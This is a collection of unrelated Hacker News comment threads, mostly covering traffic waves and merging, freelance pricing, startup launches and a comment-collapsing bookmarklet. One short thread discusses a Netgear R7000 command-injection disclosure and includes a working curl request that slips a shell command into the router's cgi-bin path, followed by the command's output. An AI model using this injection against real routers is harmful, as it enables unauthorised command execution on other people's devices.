From my humble observations, traffic jams are caused because too much traffic (x cars/sec) flows into a bottleneck, i.e. something that can't allow x cars/sec to pass through. Whenever I get into a traffic jam, I play "spot the bottleneck" to ease my boredom, and so far I haven't found a case where there was none.

Transient traffic jams like the OP described seem to get solved by people accelerating as much as they can once they're past the jam. If there's no bottleneck ahead, they're indeed transient.

<comment><USER4> Bottlenecks caused by an accident or merging lanes on a motorway are one thing, but I've seen traffic jams where the bottleneck was a disabled car that was well clear of the road, or the police have pulled someone over. In those instances there's no good reason to have a jam.

<comment><USER3> Well, there's a reason, it doesn't matter if it isn't good: other curious drivers. Here in Israel, traffic reporters on the radio routinely implore the listeners not to slow down and take a look, since it causes jams.

My point is, whatever causes a segment of the road to only allow x cars/sec will cause a bottleneck if there are more than x cars/sec incoming flow, regardless of whether it is inherent or not.

</comment></comment></comment></comment><comment><USER5> Some years ago (2008) research (1) demonstrated that traffic jams were chaotic dynamical systems and given a certain traffic density would be inevitable based on the variability of drivers. Here is a video demonstrating as such:

[http://www.youtube.com/watch?v=7wm- pZp_mi0](http://www.youtube.com/watch?v=7wm-pZp_mi0)

I always found this fascinating. My hope is that the driverless car idea will take off in earnest and normalize the variability between drivers, making for a much more rational/logical commute.

1: [http://iopscience.iop.org/1367-2630/10/3/033001/fulltext/](http://iopscience.iop.org/1367-2630/10/3/033001/fulltext/)

<comment><USER2> The problem with driverless cars is that not everyone will switch to driverless cars overnight, so the driverless cars will have to deal with drivers. Ever had your GPS tell you to get in the wrong lane? I'd love to see how well a Google self-driving car gets on trying to get over 4 lanes in a mile in gridlock traffic. I live in the bay area, and you only ever see the self-driving cars out when traffic is very light. It'll probably be a "better cruise control" long before we have cars that we can get into, program a destination, and sit back while the car takes us there. It's a nice dream, but it seems 10+ years from being viable.

<comment><USER6> For the "better cruise control" aspect, I can envision the user interface giving the drive the illusion of driving in a rut in the road. So that when the car drifts to one of the lane edges, there would be a slight tug on the steering wheel similar to what you would feel if the road was cupped -- but something you can easily overcome if you intend to.

</comment></comment></comment><comment><USER7> Contrary to one of the recommendations in the article, the Minnesota Department of Transportation recommends _against_ merging early, and instead has made a large public-education effort (including signs at merge points) to encourage zipper merging:

[http://www.dot.state.mn.us/zippermerge/](http://www.dot.state.mn.us/zippermerge/)

More discussion:

[http://www.drmomentum.com/aces/archives/003800.html](http://www.drmomentum.com/aces/archives/003800.html)

<comment><USER8> Zipper merging works far better in practice than the early merging proposed in the article. To begin with you usually can't see where the land ends well enough to merge early, and once things slow down you're screwed. Zipper merging works great if everyone expects everyone else to do it. The problem in the US is that people trying to zipper merge are punished by drivers who think early merging is polite.

<comment><USER9> Most drivers (at least in Australia) will be courteous in this way. Where it breaks down is that the point of merging tends to move backwards, eventually to a point where drivers are merging quite early, sometimes to the point where arriving vehicles don't even know a merge is occuring. What then happens is drivers push ahead and attempt to start a new merge close to the barrier/traffic cones again. However no one wants to merge twice and see these restarts as skipping the line.

The OPs main point of leaving larger gaps might solve this, but generally gaps will fill and you are then back to gridlock.

<comment><USER8> This accords with my own experience driving in Sydney, where the need to merge is frequent, but not Canberra, which has more more US-like freeway system.

<comment><USER9> Brisbane had a few bad years of building insane combined on/off ramps that tend to block frequently as everyone needs to be in that lane but with three or four lanes of traffic. Hale Street as you pass Suncorp Stadium is a particularly bad one.

</comment></comment></comment></comment></comment><comment><USER10> The article shows what looks like a time-continuous microscopic traffic flow model ("microscopic" means that the model accounts for individual cars as opposed to fluid-like "traffic streams"). There also exist cellular automaton- based models like the two-dimensional Biham–Middleton–Levine model [1] or the one-dimensional rule 184 [2] that can also show fascinating behavior but are much easier to program a computer simulation of and to alter (say, introduce different kinds of vehicles to).

Check out the videos on the Wikipedia page to which I've linked, especially [3], to see what I mean. In those videos the blue dots are trying to get from the top to the bottom while the red ones are trying to go from the left edge to the right edge of an "intersection".

[1] [https://en.wikipedia.org/wiki/Biham%E2%80%93Middleton%E2%80%...](https://en.wikipedia.org/wiki/Biham%E2%80%93Middleton%E2%80%93Levine_traffic_model)

[2] [https://www.wolframalpha.com/input/?i=rule+184](https://www.wolframalpha.com/input/?i=rule+184)

[3] [https://upload.wikimedia.org/wikipedia/commons/1/18/Biham- Mi...](https://upload.wikimedia.org/wikipedia/commons/1/18/Biham-Middleton- Levine_traffic_model_self-organized_to_a_periodic_intermediate_phase.ogv)

</comment><comment><USER11> Original copy at [http://trafficwaves.org/](http://trafficwaves.org/)

A video from there, omitted from OP: [https://www.youtube.com/watch?v=iGFqfTCL2fs](https://www.youtube.com/watch?v=iGFqfTCL2fs)

OP is a cut-down version of this site, which has been up for a decade or two. I'm curious if it's a legitimate copy.

</comment><comment><USER12> The solution to traffic jams is to have a dynamically calculated speed limit based on the density of the traffic flowing through it. A car going 60mph down the highway needs 50 feet in front and 50 feet in back between it and the other cars (for braking distance). When that same car is going 20 mph, you only need 10 feet in front and back. Therefore, to support more cars, speed needs to slow down. You could have a device that counts the amount of cars entering the highway, and then an algorithm could assign a speed limit for a section of the highway. In the middle of the nigh, theres no one else on the road, so the speed limit will be very high. During rush hour the speed limit could be as low as 15mph. This would make merging easier since you're going slower.

You wouldn't think that lowering speed limits would easy traffic congestion, but it would. Its a counter-intuitive, so it will never be implemented anywhere.

<comment><USER13> It's already implemented on the M25, the orbital motorway around London. It gets used quite frequently to slow commuter traffic down from a limit of 70mph to as low as 40.

There's a particular incentive there because being a loop a bad traffic jam could (theoretically - I'm not sure it's ever happened) stretch so far that its head and tail collide. Plus, of course, the fact that the M25 was demonically planned in the shape of the mystic sigil Odegra, from the alphabet of the Black Priesthood of Ancient Mu.

<comment><USER14> It's done in central Auckland too.

</comment></comment></comment><comment><USER15> It's the same as when approaching a red light or any other intersection. If you drive all the way up and make a full stop you will have to accelerate from 0 once you get green. If you slow down when you see the red you can be able to roll into the intersection with speed just as the light switches to green effectively giving you a 30km/h headstart or more.

You leave the intersection faster and you save gas by not accelerating. I don't understand why more people don't do this very simple move. The tricky part is timing the switch perfectly which is almost impossible, instead you should just slow down more and more and more and try to never ever fully stop the car fully.

<comment><USER16> > just as the light switches to green effectively giving you a 30km/h > headstart or more

Please be careful with this. If you immediately occupy an intersection after a light turns green there's a chance you'll get blindsided when another car decides to run a red.

</comment></comment><comment><USER17> A shame "rubberneckers" were mentioned (even if in passing); it always bothers me when "rubberneckers" are blamed for a slowdown, despite that it may simply be the long-term wave slow-down after the incident (as also discussed in the article). The reason it bothers me, especially when it's mentioned in a traffic report, is it gives everyone a little easy road rage "blame the bad driver" excuse when everyone just needs to chill out and realize this will only cause a few minutes delay at worst.

It's also futile to try to "train" everyone to overcome these little wave effects. All you're going to do is give some people an excuse to rage at others about their "inefficient" driving. Just keep your distance, follow the rules of the road, and put on some good music/audiobook/podcast/etc. You will get there eventually, and one day better self-driving cars or mass transit will make this frustration moot.

(Note that even if self-driving cars aren't specifically programmed to solve the wave effect, it won't matter because you'll be too busy watching TV or reading to give a damn. I'm all for efficiency, but having commuted by car for years, it's not about these little things anyways, it's the sheer time spent that is the worst thing (and damaging on a personal level), and traffic accidents truly do block traffic anyways.)

<comment><USER18> I think it's easy to call everybody rubber-neckers, but in reality when you pass a big mess of police lights or anybody stopped on the side of the road, I consider it a bit of a courtesy and safety to slow it down a little and, if possible, merge into a lane so you don't do a "fly by" at full speed with somebody standing at the side of the road.

</comment></comment><comment><USER19> "ON THE RIGHT >>>>> DRIVERS WITH UNUSUAL BEHAVIOR: THEY ENCOURAGE OTHERS TO MERGE AHEAD OF THEM, AND THEY TEND TO MAINTAIN LARGE SPACES AHEAD, EVEN IF TRAFFIC SLOWS TO A CRAWL. MERGING IS EASY. SEE HOW MUCH FASTER THEY GO?"

This is misleading 1)The actual throughput of cars through the constriction _even in the animation_ is only slightly faster despite 'apparent' better speeds.

2)The animation does not account for drivers re-assuming their previous following distance. Regardless of whether your 'comfort' distance is half car- length or 5 car lengths, you will eventually resume it. Leading to a slowdown. The advice, and animation seems to assume both that we've merged (onto the highway in the first place) at a rate that can absorb those driving distances without additional slow-down _and_ that we won't resume our previous driving distance (after merging past the constriction). In short, its moved the problem and then shown a window into the part that was improved.

*edit: added parenthetics to improve clarity

</comment><comment><USER20> This appears to be a prettier version of William Beaty's work at [http://trafficwaves.org/](http://trafficwaves.org/) which is well worth the read. I send this link out multiple times a year to friends, because it advocates (and shows some proof for) some simple driving changes that can substantially reduce traffic: Leave space ahead of you, and let folks cut in if they want. Given the chaotic pattern of traffic and drivers, these simple habits appear to reduce (but never eliminate) traffic jams.

<comment><USER21> Just to be clear, both are by the same person.

<comment><USER20> Indeed, the article is credited to him, thanks for pointing that out (missed that!). But the original posted site ("smartmotorist") didn't seem to have any credits, so unclear if it's a rip-and-post or if Mr. Beaty was part of "smartmotorist". Regardless, I think Trafficwaves.org gives more info, so wanted to share.

</comment></comment></comment><comment><USER22> I have been experimenting a bit whenever I am stuck in the traffic. The goal is not to come to a complete stop. So, in order to do that, I keep long enough gap in front of me while the traffic is crawling, and keep a low speed such that I do not get too close to the car in front (in which case, I have to come to a complete stop).

Just by doing that, the car behind me can also just follow me at the same speed without coming to a complete halt.

I just hate sitting still on the highway. This game keeps me entertained while also helping a few cars (if not all) behind me.

The best place to see this effect is in a tunnel (say, Holland tunnel, where switching lane is not allowed). Just one car maintaining a low speed with enough space in the front can make the whole lane flowing so easily.

I just don't understand people who would accelerate and the brake, and repeat this until they are out of the traffic. Not only you are causing yourself a lot of anguish, you are also not helping others, nor your car.

<comment><USER23> >>I just don't understand people who would accelerate and the brake, and repeat this until they are out of the traffic. Not only you are causing yourself a lot of anguish, you are also not helping others, nor your car.

Accelerating and braking is also a fantastic way to waste gas.

</comment></comment><comment><USER24> Yeah, Traffic Waves. There's no cure. They've been studied, documented, they have many causes but there's no way to get rid of them unless all the cars on the highway are autonomous and self correcting.

Once a highway increases past 2 lanes they are inevitable as people from the far left lanes have to merge right to get to their exit and the 2 right lanes than can normally hold 20 cars with a 1 car space in between all of them now have to cope with 35 cars. The cars in the left lane can't merge in time to get to their exit so the far left lanes start slowing down as well.

There are a LOT of causes, from bunching (cars driving too close together) to pattern breaking (cars slowing down to look a pulled over cop), to merging, to accidents, to bottlenecks, to over-crowded exits, etc...

The only way to provide some relief is for ALL drivers to travel in groups/packs with large gaps in between the groups/packs. The gaps can obsorb slow downs.

<comment><USER25> >The only way to provide some relief is for ALL drivers to travel in groups/packs with large gaps in between the groups/packs. The gaps can obsorb slow downs.

Whenever I'm stuck in Philadelphia traffic I try to do this and it seems to make a difference. I've even thought about getting a bunch of friends to all get on at different exits and do it simultaneously. The end goal being official "pace cars" coordinated by a central command center to alleviate stop & go traffic and keep everyone cruising at a constant speed. Needless to say, my mind wanders a lot when I'm stuck in traffic!

<comment><USER26> I've actually done something similar. When in bad traffic i purposely drive so that i leave a large gap between me and the car ahead of me. I basically drive so that i have to do minimal accelerating/braking. Likely just a coincidnce, but it does seem to improve flow.

<comment><USER25> Are you located in/around Philly? If so, I'd be interested in coordinating something on 476 or 422 one afternoon.

<comment><USER26> Nope! Bay area (which btw, does not have bad traffic relatively speaking; I've been in traffic jams in the NE and they are way worse, same with LA).

</comment></comment></comment></comment></comment><comment><USER27> This is awesome. The problem is that no individual agent is incentivized to drive slower. I wonder if it'd be worth it to hire "stir-the-pot cars" whose job it is to drive slowly during rush hour and ease jams. Kind of like dietary fiber for the road.

Hey, doesn't Uber have a whole fleet of cars in cities around the world? It would be a cool $&@! project for them to be the all-wondrous curers of traffic.

<comment><USER28> I think the problem is less one of incentive than it is one of awareness. If more people knew about — and actually _understood_ — anti-traffic, more people would employ it. I don't know where the inflection point is, but I'd bet you don't even need all that many people engaging in anti-traffic behavior before it has an appreciable impact, either.

</comment></comment><comment><USER29> If you're interested in the physics of it, there's a PDE that explains these backwards propagating density shockwaves (aka traffic jams).

[http://en.wikipedia.org/wiki/Burgers'_equation](http://en.wikipedia.org/wiki/Burgers'_equation)

</comment><comment><USER30> If you enjoy this sort of stuff, the book _Traffic: Why We Drive the Way We Do (and What It Says About Us)_ by Tom Vanderbilt[1] is an enjoyable read. He covers traffic waves and a lot more.

[1] [http://www.amazon.com/Traffic-Drive-What-Says- About/dp/03072...](http://www.amazon.com/Traffic-Drive-What-Says- About/dp/0307277194)

</comment><comment><USER31> > My single tiny car had erased miles and miles of stop-and-go traffic. Just > one single "lubricant atom" had a profound effect on the turbulent particle > flow within the "tube".

I did this in the 1970's. It gets rediscovered constantly.

</comment><comment><USER32> The problem with leaving a gap is that, as soon as it's a few car-lengths long, people in the adjacent lane(s) notice that there's a gap and quickly cut into your lane to fill it, because it moves them a car-length or two forward. In order to do this, they have to cut in front of you, speed up quickly, and brake quickly. And you're left in the same position that you were in before you made the gap -- plus one extra car.

I try to do this all the time and it's frustrating because it's completely impossible. As soon as a vacuum exists, drivers rush to fill it.

<comment><USER33> So its interesting to watch the traffic around when this happens. It actually smooths out the flow "behind" you because the folks who cut in front eased up pressure behind them. The tail gater issue is real though so if you're going to do this it is best to do it in the right lane rather than one of the inner lanes.

<comment><USER34> My experience has been that the "slow lane" is usually significantly faster through a jam, probably because of the number of lorries practicing smooth driving.

</comment></comment></comment><comment><USER35> Can't do this for traffic waves, but it would appear the ideal solution to merge slowdowns is to have different speed limits before and after the merge. Regardless of anything else, the flow rate before and after a merge must be the same. Ideally you want the flow rate after the merge to be approximately one car every 2.5 seconds, with those cars traveling at the speed limit. (As opposed to the usual situation where post-merge traffic accelerates from a near stop, causing large, unnecessary spaces to form.) One way to achieve this is to have pre-merge traffic leave twice the space, but it's unlikely there are enough traffic-flow vigilantes out there to achieve that, if such a thing would even be desirable. Much easier is to keep the same time spacing between cars, but to have pre-merge traffic travel at half the speed. Traffic approaches the merge in two lanes, traveling at 50 km/h. The speed limit increases to 100 km/h, then immediately afterward the traffic merges. Speeding up from 50 to 100 naturally opens spaces, and traffic merges painlessly. There is no reason for a slowdown to occur, so no self-perpetuating gridlock.

Of course, the slower speed limit is only useful when the road is filled to capacity; otherwise it would be inefficient. So for most roads you would want this limit to vary based on time of day (or even dynamically based on traffic volume, but obviously that would only be useful/necessary in extreme cases).

</comment><comment><USER36> This is the prisoner's dilemma. If you slow down and drive smoothly, and everyone else does too, then everyone benefits greatly. But if you cut in front of one of the smooth drivers, which you can since he's leaving lots of space, you benefit personally by gaining a car length while inconveniencing everyone else in that particular lane. Well, at least until the guy behind you has smoothed out the difference. Human nature makes smoothing out traffic an improbable solution.

</comment><comment><USER37> This is really interesting. I wonder if the existing California Highway Patrol practice of swerving around the highway[1] to slow down traffic can be used to create these "anti-traffic" gaps during rush hour?

[1] [http://articles.latimes.com/1996-08-12/local/me-33464_1_traf...](http://articles.latimes.com/1996-08-12/local/me-33464_1_traffic- enforcement)

<comment><USER38> Near where I live in England we have managed motorways which employ electronic displays and enforce the speed limit with speed cameras.

[http://en.m.wikipedia.org/wiki/Managed_motorways_in_the_Unit...](http://en.m.wikipedia.org/wiki/Managed_motorways_in_the_United_Kingdom)

</comment></comment><comment><USER2> Even better solution to traffic: develop real high-speed rail in the US, live closer to where you work / need to be (stop suburbs / sprawl), ride bikes or even just motorcycles / mopeds in California where filtering is legal, or walk.

This has a lot of other nice first-order benefits like real communities, decreased pollution, less time wasted commuting, and tons of second-order benefits.

</comment><comment><USER39> Someone at Waze should get on this. Send a small notification to Waze users that there's a jam ahead, and to slow down by 10mph to help alleviate it! It's a simple solution and might even work since Waze users are already a "community" of drivers in the sense that they're looking out for each other and not necessarily just themselves.

</comment><comment><USER40> I usually try to avoid hitting the brake as much as possible in order to maintain the most uniform speed I can. This is due to a selfish, lazy motivation, because I don't want to rapidly alternate between gas and brake.

I think there is also a psychological component to seeing bright red brake lights. I want to say it creates a reactive, and often overly reactive response. I imagine lifting a foot off the gas pedal often creates sufficient deceleration without the alarm caused by hitting the brake pedal but many people don't drive this way. Maybe we should have two shades, or colors, or a full gradient to indicate level of braking? What if a brake light could indicate current speed?

</comment><comment><USER41> Interesting blog article.

I've always found it strange that when school is out, traffic is like 30-50% better. This effect is the best I can think of, because I wouldn't think there's a lot of people directly impacted by the school schedule. Elementary, middle and high schools all start and end at different times, and there's people directly employed by all of those schools, and certainly some parents who pick up and drop their kids off, but still it doesn't seem like that many people compared to how much better the traffic gets.

So maybe this article is right, you take a few people off the road and the merging madness, and everything becomes better.

<comment><USER42> I notice the same thing, Even in one week holidays where only the elementary schools are closed the traffic is much lighter. I expect this because a lot of working parents take this week off too to be with the kids, probably a 10-15% drop of traffic means that traffic is a lot easier.

</comment></comment><comment><USER43> I remember some sort of experiment in Colorado in which state police formed a line of cars at intervals forcing everyone to drive the same speed, and thus was able to eliminate the daily blockages in that experiment.

</comment><comment><USER22> A related Japanese experiment on the Human factor of traffic jam - [https://www.youtube.com/watch?v=Suugn-p5C1M](https://www.youtube.com/watch?v=Suugn-p5C1M)

</comment><comment><USER44> The merging solution is oversimplified. Leaving enough space for another car in front of you sounds easy. But in reality, if 1,000 cars each add 2 car lengths in front of them you've added 40,000 feet to the length of the slow down. Yep, 7.5 miles.

If it was feasible, we could also stop at red lights with 3 or 4 car lengths between each car and when the light turned green everyone could go at the same time. There isn't space on the road for this type of behavior.

</comment><comment><USER45> I found the idea that one person can make a huge difference really interesting, I will have to start experimenting with this myself. All the roads OP wrote about are where I drive, but the Lynnwood ramp he talked about recently got expanded.

This also makes me want to make some sort of simple traffic simulator to do experiments like this, does anyone know if any already exist?

</comment><comment><USER46> My heuristic when trying to help get rid of a traffic jam is this:

> Maintain a higher minimum speed (and the same or higher average speed) than > the car in front of you.

The only reason why traffic jams ever disappear is that people are doing this. Most of the time I guess the true root cause is that incoming traffic is dissipating, though.

</comment><comment><USER47> I am reminded of this:

[http://www.technologyreview.com/view/425435/in-car- algorithm...](http://www.technologyreview.com/view/425435/in-car-algorithm- could-rapidly-dissolve-traffic-jams/)

</comment><comment><USER48> On the freeway system in LA, a lot of the jams are caused by slow drivers in the passing lanes. Most the time, when there's a clump of cars and empty space ahead of them, it's one or two slow drivers blocking the passing lanes.

</comment><comment><USER49> There's a nice simulation of these physics here: [http://www.traffic- simulation.de](http://www.traffic-simulation.de)

The jams seem pretty robust, unless you turn down the input flow -- a bit like real life!

</comment><comment><USER50> There's a whole chapter on traffic jams in the book Critical Mass. From what I remember, innocuous things like a single driver slowing down can cause massive jams due to the natural 'physics' of traffic.

</comment><comment><USER51> reminds me of an experiment by some college kids in atlanta - [http://www.youtube.com/watch?v=OoETMCosULQ](http://www.youtube.com/watch?v=OoETMCosULQ)

</comment><comment><USER52> Jams spontaneously occur after a certain road density is reached.

The sadistic side of me wishes they'd just close entrances to the highway whenever it's dangerously full.

</comment><comment><USER53> I saw William Beaty's zen traffic warrior video years ago, and I don't know if it works, but it sure makes me more relaxed when I'm driving.

</comment><comment><USER54> Does this mean it's actually possible to improve traffic by introducing extra tempo setter cars whose only job is to smooth traffic?

</comment><comment><USER55> interesting!

<comment><USER56> This reminds me of an interesting traffic simulation applet, where you can control things like aggressiveness of the drivers, traffic density etc. and observe the traffic jam that happens.

[http://www.carbibles.com/trafficmicrosimulation.html](http://www.carbibles.com/trafficmicrosimulation.html)</comment></comment>


50 Most Innovative Companies of 2015 According to BCG: An Interactive Guide - <AUTHOR> https://www.bcgperspectives.com/content/interactive/innovation_growth_most_innovative_companies_interactive_guide/ <comment><AUTHOR> Here is the 'home page' for BCG's content for this report: [https://www.bcgperspectives.com/most-innovative- companies-20...](https://www.bcgperspectives.com/most-innovative- companies-2015/)</comment>


Show HN: I made a visual technical interview course - <AUTHOR> https://algodaily.com/ <comment><AUTHOR> I first posted a Show HN about AlgoDaily six months ago when it was just a daily coding challenges platform. Since then, it's pivoted to a complete solution for devs looking to break into software engineering, solving problems that still afflict non-traditional developers (bootcamp grads, self taught developers, career transitioners) when preparing for interviews:

\- Lack of Guidance - for non-traditional developers, there's so many resources but few that are well curated and provide adequate hand-holding.

\- Lack of Visuals - I have never been able to sit down and read a programming book for long stretches due to how dense and dry they are. The goal of our lessons is to make them as easy to follow and visual as possible.

\- Procrastination - a daily email keeps you in check by giving you exactly what to read or do each day.

Open to all feedback!</comment>


Top Cloud Trends of 2019 - <AUTHOR> https://medium.com/futuresin/top-cloud-trends-of-2019-75746a58ace <comment><AUTHOR> For all the hype of blockchain (crypto), we're still in the early stages of Cloud adoption by global companies and integration with machine learning. While AWS and Microsoft are a duopoly of sorts....</comment>


Ideas for my real-time skill-based job search? - <AUTHOR> http://www.pareer.com/job/search

<comment><AUTHOR> I'm fetching jobs from my private API (would anyone be interesting in doing something with it?) from twentypeople.com and wanted to see if a real-timeish job (click&play kind of) search would make things smoother than these slow, old-school job sites. What do you think? Suggestions? Also, if you have a job, tweet me @mittermayr or contact me through the site and I'll add your job to our database, for free, no subscription, nothing, free free. I'll do all the work. Thanks guys!</comment>


Amazon Wants to Know How Its Employees Feel Every Day - <AUTHOR> http://www.bloomberg.com/news/articles/2015-10-09/amazon-asks-corporate-employees-for-feedback-on-work <comment><USER2> I was sure this would have something to do with deploying the new IoT service to the employee population. Heartbeat monitoring, personal moisture sensors, hygiene detection services, etc. all pushing up into AWS and ultimately to a dashboard for an HR analyst.

</comment><comment><USER3> "I'm here to talk about your Connections survey. Overall your happiness scores are very low. We're very concerned that you're not doing everything you can be doing to be happy at your job."</comment>


Ask HN: Do frelancers cost/earn/value more than regular employees? - <AUTHOR>

Hi,
I'm in the freelancing business since last autumn and still I can't figure out how to price my services. Many times even the clients tell I'm underpriced.
To figure out the complete picture I need advices on the following questions:
1. Are freelancers better skilled than usual employees?
Many of my friends go to freelance after working for a company. They say being employed is a good start to enrich your skills and learn your segment's business culture then you can do better on your own.
2. Are companies hiring freelancers because of their expertise?
Here I'm thinking about companies which have to decide to hire somebody even temporarily, or, to hire a freelancer.
They probably think like: let's employ somebody in-house and do the job as usual, or, let's hire somebody professional and do the job quickly.
3. Do freelancers cost less than an employee for a company, including taxes?
(In Europe) If a company has to pay X for an employee it means it will cost X + Tax1 after all; and the employee will receive X - Tax2 after all.
If a company pays for a freelancer it will cost X after all; and X - Tax3 for the freelancer (with Tax3 < Tax2)
Do the companies are willing to pay X + Tax1 for a freelancer or just X?
4. Does freelancers charge more than the normal market rates for the same skilled employee?
For example in NYC/SF a developer/designer costs $2,000 / week according to market rates. Are companies aware freelancers might cost more?
Thanks for your patience, Csongor <comment><USER2> Here is a simple algorithm, espoused by many of the experts here on HN:

\- With each engagement, increase your rates by 20-100%.

\- Continue doing this until clients stop hiring you.

Note that if you deliver consistent measurable value, people will never stop hiring you.

Basically, you are over-thinking it. You don't need to do complicated math to determine your skill level relative the average employee, the salary of an average employee, or the TCO of an employee to a company. The only thing that matters is:

        1) Can you deliver value?
        2) Can you DEMONSTRATE to a client that you can deliver value?
        3) Can you demonstrate sufficient value to make a $X000 engagement a good idea?
        4) Realize that X can be whatever number you can think of.

For more detail, here is one of the definitive posts on the topic: [https://news.ycombinator.com/item?id=4245960](https://news.ycombinator.com/item?id=4245960)

<comment><USER3> > Note that if you deliver consistent measurable value, people will never stop > hiring you.

Assuming your freelance engagements are fairly regular (e.g. a few weeks each, not a few years), that scheme seems unlikely to be able to work _indefinitely_ , since you're proposing an exponential price-increase scheme! For example, if I start out charging a mere $10 per engagement, and raise my price 50% each engagement, then by the 50th engagement my rate will be about $4 billion, which really limits the potential customer base.

<comment><USER2> I admit that my point about perpetual engagements does not literally apply if you raise your rates multiplicatively, but I truly think that people will never stop hiring you if you keep delivering value, pretty much independently of your rate.

The better you get at delivering demonstrable value, and the more domain knowledge you can show off, and the more your network grows within an industry, the more clients will come knocking on your door. And they will be less and less price-sensitive.

<comment><USER4> the question is how you quantify/measure the value you create vs. the fees you charge

</comment></comment></comment></comment><comment><USER5> _1\. Are freelancers better skilled than usual employees?_

This is an impossibly generalized question to answer. It completely varies on which specific freelancer and employee you are talking about. I don't fathom there is a strong correlation between skill and freelance/full-time status.

 _3\. Do freelancers cost less than an employee for a company, including taxes?_

Again, totally depends on the particular situation. How high are the freelancer rates? How expensive is a a full-time employee at that company (salary, benefits, etc.)? You'll be able to find both cases. In my experience, full-time employees are viewed as more cost effective "in the long run", especially when you take into account the difference in knowledge retention & continuity between employees and contractors. It really depends on the needs of the company.

</comment><comment><USER6> You have to think it from the point of view of the potential employer/customer.

Why do they want to hire a freelancer in the first place?

1\. Maybe they have 50-100 hrs of work per month that requires skillset X. If none of their existing employees can do X, they will hire a freelance just to avoid the hassle of having an employee sitting on his hands most of the day.

2\. Maybe they have a project demanding 50-100 hrs of work per week, for the next 6-8 months, then they expect to drop maybe to 3-5 hrs per week of maintenance/operations. They will hire a couple of freelances to implement the project, with the explicit purpose of letting them go at the end. They may consider keeping a proven-good freelance on a retainer (small fixed fee, little or no work) for maintenance, employee training, emergency issues, etc.

3\. Maybe skill X is something that is not seen as a core strength for the customer's company. It does not matter if they have demand to consume enough of X to keep one or more full time employees busy. If they see an advantage to file as a variable expense (instead of payroll), they will do so (they may be charging a different department in the same corporation for it, or using money from a government grant, or some other technical detail like those).

Those are the reasons that come to mind, but there surely must be others. Please note that none of the reasons listed implied that freelancers are more skilled, experienced, or cheaper than employees.

As a matter of fact, there is a market for freelances across all skill levels (barred crass incompetence). It is just a matter of figuring out what level fits best for you, and then project a professional image that reinforces that level.

My perception is that this is what your customers are trying to tell you. Your image is "cheap" compared to the value you end up bringing to their businesses. If you increased your prices, you probably would end up having more work (because you would no longer be perceived as cheap/rookie/unreliable). You may need to use more clues, like dressing up a notch, or redoing your webpage/contact info to project a more mature image.

</comment><comment><USER7> They are in London. Typical pattern here is hiring a contractor to implement and then using permanent employees to maintain.

</comment><comment><USER8> A good rule of thumb was add 40% for paying an employees benfits. Now, you have a starting point for an hourly rate.</comment>


Ryman Eco – free ink-saving font - chestnut-tree http://www.rymaneco.co.uk/

<comment> chestnut-tree There's a nice video interview with the designer of this font that explains the purpose of the font better than the official website

[http://vimeo.com/103907391](http://vimeo.com/103907391) (3 mins long)</comment>


Collapsible comments for Hacker News - <AUTHOR> http://niyaz.pk/2010/11/collapsible-comments-for-hacker-news/ <comment><USER2> Damn, my comment is collapsed in the screenshot. There go my 15 minutes of fame...

</comment><comment><AUTHOR> This fixes a few issues with the script by Alexander Kirk [1], like collapsed child comments expanding when the parent is expanded. In addition to these this script will work in the threads page of hacker news. Also this bookmarklet will load faster than the script by Alexander since there is no call to any external JS file from my server. The only file you have to load is the latest jQuery from the jQuery website and chances are good that the file is already present in your browser cache. (The downside is that you will not be able to get the latest version when I update the code).

[1] [http://alexander.kirk.at/2010/02/16/collapsible-threads- for-...](http://alexander.kirk.at/2010/02/16/collapsible-threads-for-hacker- news/)

<comment><USER3> Thanks for picking this up. I have been bugging pg quite a few times to integrate it, but so far he hasn't had time (or interest in doing so). I hope the recurring posts on Hacker News will up this in his list of priorities :)

Just one remark about the external script: My server is configured to serve the JS file with far future expires header. Once your browser has that file, it won't even ask my server for it, so that shouldn't be a performance hit (actually your script also loads an external script, jQuery, but from a location that does not set the far future expires headers, you should use the ajax.googleapis.com server)

</comment></comment><comment><USER4> This is nice. I, for one, would like to see this enabled by default. It's minimally intrusive and has simple, obvious utility.

</comment><comment><USER5> pg, care to incorporate this in to HN? (maybe as an opt-in option)

<comment><USER6> I added it to the feature request page.

For people who don't know there's a link at the bottom of the pages labeled "Feature Requests". I''m on a phone but I'll add a direct link when I get to a pc. [Edit: <http://news.ycombinator.com/item?id=363>] The page doesn't seem to be completely dead but I'm not sure how much love/attention it gets.

</comment></comment><comment><USER7> Is this something people would like added to the HN iPhone app I built? I've considered it and built a demos, but I'm not sure it's needed.

<http://michaelgrinich.com/hackernews/>

<comment><USER8> You're still alive? ;) Please please please can you add the following to the app:

* make it work with iOS 4 multitasking (so leaving the app and coming back doesn't cause it to restart and you lose your place)

* Add an option to email a page (in addition to the existing "readability" and "open in safari" options). An instapaper option would also be nice but I don't want to get greedy :)

As it is now, if you want to read something later, you have to open it in safari, then email it to yourself or add it to instapaper, then return to the app, where you've lost your place because of the aforementioned lack of multitasking.

Thanks for the otherwise-wonderful app, though -- I use it all the time.

<comment><USER7> thanks for the feedback, and glad to hear people are still using the app. :-)

I'll get this update shipped soon. If you have any other suggestions or bugs, please email me.

<comment><USER7> I just submitted this to the App Store, so it should show up in a week or so.

</comment></comment></comment></comment><comment><USER9> Works beautifully, I'll be using this. Thanks

</comment><comment><USER10> added to "browser extensions" section at <http://hnresources.com/apps/>

<comment><USER11> Thanks for adding Hacker Newsletter to your listing... I hadn't noticed that until now.

</comment></comment><comment><USER12> Thanks for this. Collapsible comments are one of the two biggest things I miss from reddit when on HN (the other being some form of notification that someone has replied to you).

<comment><USER13> To be notified when someone replies to me I use Notifo (<http://notifo.com/>) and put my Notifo username in my HN profile. I don't think you need a mobile device to use Notifo, you can install a desktop app that provides notifications when you get a reply. <http://notifo.com/desktop>

<comment><USER14> You can set email notifications up, so you don't need a mobile device or a desktop application.

<comment><USER12> I think I'd prefer a desktop app over email. I don't get a lot of replies here, largely due to my infrequent commenting, but I'd hate to randomly hit upon a popular comment and be flooded with 20 emails while I'm out.

</comment></comment></comment></comment><comment><USER15> I find that the hckrnews extension: <http://hckrnews.com/about.html> works well for me for doing this.</comment>


Netgear R7000 – Command Injection - <AUTHOR> https://www.exploit-db.com/exploits/40889/ <comment><USER2> This is easily reproducible:

curl '[http://[router](http://\[router) IP]/cgi-bin/;uname$IFS-a'

returns:

Linux R7000 22.214.171.124brcmarm+ #30 SMP PREEMPT Fri Jul 1 23:06:47 CST 2016 armv7l unknown</comment>


A toy Mathematica interpreter in Haskell - <AUTHOR> http://community.wolfram.com/groups/-/m/t/943405 <comment><USER2> Mathics is implementation of Mathematica (actually it is now called Wolfram language) using sympy, ply, and django.
